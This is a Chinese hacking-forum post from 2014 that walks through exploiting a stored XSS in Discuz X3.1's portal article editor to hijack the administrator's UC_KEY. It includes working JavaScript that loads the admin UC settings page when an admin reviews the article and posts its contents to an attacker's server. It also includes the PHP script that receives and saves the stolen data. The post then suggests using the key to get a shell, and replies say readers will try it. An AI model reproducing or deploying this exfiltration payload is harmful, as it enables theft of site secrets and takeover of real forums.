查看: 11521|回复: 3

Discuz某处XSS劫持UC_KEY(XSS应用详细过程)

[复制链接]
  • TA的每日心情
    慵懒
    2022-4-16 15:45
  • 签到天数: 247 天

    [LV.8]以坛为家I

    发表于 2014-4-30 14:30:02 | 显示全部楼层 |阅读模式
    这个漏洞的位置在Discuz的门户功能处。

    在发表文章时,打开“编辑源码”功能时,写入任意XSS CODE后,再进入和输出都没有过滤。导致存储型XSS。

    大家都知道,这里的XSS虽然可以劫持到用户和管理的Cookies,但是没什么用,无法登陆。

    那么,我们可以想办法拿XSS来干点其他的,比如劫持管理员后台内容,如UC_KEY等。

    因为默认安装情况下这个门户功能是没有配置的。

    所以管理员需要手动配置门户功能。大部分都会开启门户。

    但是开启门户,添加门户频道后不是所有用户都可以发表文章。

    发表文章的权限是管理员手动配置的。

    一般情况:

    1、管理员可以发表文章。

    2、超级版主,版主等管理组可以发表文章。

    3、普通用户可以发表文章。

    4、上述用户发表文章后可以配置需要管理员审核等。

    所以,综上所述,只要用户可以发表文章就可以到达目的了。
    首先我们来看下我们目标环境的discuz配置,选择门户——添加频道:
    dz1.png
    然后看看可发表文章的用户组。这里是新手的发表文章文章权限配置。
    dz2.png
    可以发表文章,但是需要管理审核。

    上述时普遍存在的常规门户文章发表配置。
    然后我们在目标站上注册用户,发表文章:
    dz3.png
    具体注意的,介绍的部分上图已说明。

    这里攻击者服务其上的jquery.js和js.js就是我们劫持UC_KEY的核心。

    说白了就是劫持页面源代码。没什么技术含量。

    这里我用了ajax请求,为了避免没有jquery环境,自己加上了jquery.js。

    js.js代码如下:
    [AppleScript] 纯文本查看 复制代码
    $(document).ready(function(){
     
            var htmlstr = '';
     
             
     
            $.ajax({
     
                  url: "http://xxx.xxx.100.235/Discuz_X3.1_SC_UTF8/admin.php?action=setting&operation=uc",
     
                  dataType: "text",
     
                  async: false,
     
                  success: function(data){
     
                        htmlstr = data;
     
                  } 
     
            });
     
             
     
            $.ajax({
     
                  url: "http://xxx.xxx.20.198/savepage.php",
     
                  dataType: "text",
     
                  async: false,
     
                  type: "POST",
     
                  data: {"msg": htmlstr},
     
                  success: function(data){
     
                        //htmlstr = data;
     
                  } 
     
            });
     
            //$("body").append("<area>"+htmlstr+"</area>");
     
            //alert(htmlstr)
     
    });

    功能就是劫持目标的http://xxx.xxx.100.235/Discuz_X3 ... ng&operation=uc页面的内容,然后发送到攻击者的http://xxx.xxx.20.198/savepage.php上。

    savepage.php就是接受目标页面源码内容的,代码如下:
    [AppleScript] 纯文本查看 复制代码
    <?php
     
    $data=$_POST['msg'];
     
    $file='savepage.txt';
     
    if (is_writable($file) == false) {
     
             die('123');
     
    }
     
    file_put_contents($file, $data);
     
    ?>

    下面我们来看看我们发表文章后,目标站点上的响应:
    dz4.png
    管理员进入后台就会看见提示。
    dz5.png
    打开需要审核的内容,管理员在审核时一般都会看看这个文章的内容,是否可以发布。

    此时管理员查看时,已经被我们劫持。
    dz6.png
    最后我们回到攻击者,看看我们接收到的内容:
    dz7.png
    剩下的就是利用UC_KEY直接拿shell,或者登陆后台,这里的内容见其他漏洞详情。

    评分

    参与人数 1i币 +10 收起 理由
    90_ + 10 感谢分享

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情

    2021-9-9 23:35
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2014-4-30 18:13:35 | 显示全部楼层
    乌云那妹子是你不
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-5-1 02:17:41 | 显示全部楼层
    感谢分享 去试试XSS
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-5-1 12:39:31 | 显示全部楼层
    去试试,
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-5-18 20:00 , Processed in 0.020495 second(s), 15 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部